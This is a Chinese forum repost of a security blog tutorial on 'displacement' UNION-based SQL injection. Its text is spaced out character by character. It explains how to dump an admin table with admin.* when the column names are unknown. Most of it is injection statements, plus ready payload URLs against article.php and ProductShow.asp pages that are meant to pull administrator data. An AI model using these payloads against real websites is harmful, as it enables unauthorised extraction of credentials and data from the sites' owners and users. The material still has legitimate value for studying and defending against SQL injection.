搜索

[26624] 2020-04-07_高级注入技巧位移注入

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-19
2020-04-07_高级注入技巧位移注入 高 级 注 入 技 巧   位 移 注 入 原 创   m O o n   m o o n s e c   2 0 2 0 - 0 4 - 0 7 高 级 注 入 技 巧   位 移 注 入 1 简 介 简 介 这 种 注 入 方 式 合 适 在 找 到 表 找 不 到 字 段 的 情 况 下 使 用 。 这 种 注 入 方 式   需 要 联 合 两 个 表   所 以 这 种 注 入 也 是 联 合 查 询 注 入 的 一 种 。 2 原 理 原 理 在 S Q L 中 查 询   s e l e c t   *   f r o m   a d m i n   星 号 代 表 所 有 字 段 。 而 且   s e l e c t   *   f r o m   a d m i n   的 结 果 等 于 下 面 几 种 结 果 s e l e c t   a d m i n . *   f r o m   a d m i n s e l e c t   a d m i n . i d , a d m i n . u s e r n a m e , a d m i n . p a s s w o r d   f r o m   a d m i n s e l e c t   i d , u s e r n a m e , p a s s w o r d   f r o m   a d m i n 在 使 用 位 移 注 入 这 种 注 入 方 法 ， 需 要 确 定 当 前 表 的 ， 字 段 数 表 a r t i c l e   的 字 段 为 3 个 使 用 联 合 语 句   把 另 外 一 个 表 联 合 进 来 查 询 s e l e c t   *   f r o m   a r t i c l e   w h e r e   i d = 1   u n i o n   s e l e c t   1 , 2 , 3   f r o m   a d m i n a d m i n 的 表 的 字 段 数 同 样 也 是 3 个   把 a d m i n . *   替 换 1 , 2 , 3
s e l e c t   *   f r o m   a r t i c l e   w h e r e   i d = 1   u n i o n   s e l e c t   a d m i n . *   f r o m   a d m i n 语 句 并 没 有 报 错   因 为 列 数 一 样   同 样 也 会 显 示 表 a d m i n 里 面 的 字 段 数 据 把 语 句 改 成 这 样 就 会 只 显 示   表   a d m i n 的 数 据 s e l e c t   *   f r o m   a r t i c l e   w h e r e   i d = - 1   u n i o n   s e l e c t   a d m i n . *   f r o m   a d m i n 注 意 ： 使 用 这 种 方 法 当 前 表 的 字 段 大 于 或 等 于 联 合 的 表 这 里 当 前 表 就 是   a r t i c l e   联 合 的 表 就 是   a d m i n 3 网 网 站 站 测 试 测 试 h t t p : / / t a r g e t _ s y s . c o m / a r t i c l e . p h p ? i d = - 1   u n i o n   s e l e c t   a d m i n . *   f r o m   a d m i n 4 其 他 其 他 数 据 数 据 库 库 在 其 他 数 据 库 中 也 可 以 使 用 这 种 方 法 ， 例 如 a c c e s s o r d e r   b y 的 字 段 数
s e l e c t   *   f r o m   p r o d u c t   w h e r e   i d = 1 0 0   u n i o n   s e l e c t   1 , 2 , 3 , 4 , 5 , 6 , 7 , 8 , 9 , 1 0 , 1 1 , 1 2 , 1 3 , 1 4 , 1 5 , 1 6 , 1 7 , 1 8 , 1 9 , 2 0 , 2 1 , 2 2 , 2 3 , 2 4 , 2 5 , 2 6   f r o m   a d m i n p r o d u c t   的 表 字 段 数 为 2 6 s e l e c t   *   f r o m   p r o d u c t   w h e r e   i d = 1 0 0   u n i o n   s e l e c t   1 , 2 , 3 , 4 , 5 , 6 , 7 , 8 , 9 , 1 0 , 1 1 , 1 2 , *   f r o m   a d m i n 这 里 的 * 星 号 代 表 a d m i n 的 字 段 数   所 以 用 2 6 - 1 3 = 1 3   所 以 a d m i n 的 字 段 个 数 为 1 3 用 a d m i n . * 替 换 这 里 的   *   星 号 s e l e c t   *   f r o m   p r o d u c t   w h e r e   i d = 1 0 0   u n i o n   s e l e c t   1 , 2 , 3 , 4 , 5 , 6 , 7 , 8 , 9 , 1 0 , 1 1 , 1 2 , a d m i n . *   f r o m   a d m i n 在 网 站 里 面 测 试 h t t p : / / 1 2 7 . 0 . 0 . 1 : 9 9 / P r o d u c t S h o w . a s p ? I D = 1 0 0   u n i o n   s e l e c t   1 , 2 , 3 , 4 , 5 , 6 , 7 , 8 , 9 , 1 0 , 1 1 , 1 2 , a d m i n . *   f r o m   a d m i n 这 样 同 样 也 是 可 以 执 行 语 句   获 取 数 据 ， 也 可 以 将 a d m i n . * 放 到 其 他 列 s e l e c t   *   f r o m   p r o d u c t   w h e r e   i d = 1 0 0   u n i o n   s e l e c t   a d m i n . * , 2 , 3 , 4 , 5 , 6 , 7 , 8 , 9 , 1 0 , 1 1 , 1 2 , 1 3   f r o m   a d m i n h t t p : / / 1 2 7 . 0 . 0 . 1 : 9 9 / P r o d u c t S h o w . a s p ? I D = 1 0 0   u n i o n   s e l e c t   a d m i n . * , 2 , 3 , 4 , 5 , 6 , 7 , 8 , 9 , 1 0 , 1 1 , 1 2 , 1 3   f r o m   a d m i n
同 样 也 是 可 以 执 行 的 。 同 样 星 号 也 可 以 放 在 其 他 位 置 s e l e c t   *   f r o m   p r o d u c t   w h e r e   i d = 1 0 0   u n i o n   s e l e c t   * , 2 , 3 , 4 , 5 , 6 , 7 , 8 , 9 , 1 0 , 1 1 , 1 2 , 1 3   f r o m   a d m i n s e l e c t   *   f r o m   p r o d u c t   w h e r e   i d = 1 0 0   u n i o n   s e l e c t   a d m i n . , 2 , 3 , 4 , 5 , 6 , 7 , 8 , 9 , 1 0 , 1 1 , 1 2 , 1 3   f r o m   a d m i n 表 名 .   和 *   这 种 同 样 的 可 以 也 是 表 示 字 段 数   他 两 种 结 果 是 不 一 样   的 5   关 注 公 众 号 关 注 公 众 号 扫 码 关 注 我 们 暗 月 ： @ m o o n s e c 你 的 分 享 是 我 更 新 的 动 力 温 馨 提 示 温 馨 提 示 如 果 你 喜 欢 本 文 ， 请 分 享 到 朋 友 圈 ， 想 要 获 得 更 多 信 息 ， 请 关 注 我 。
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理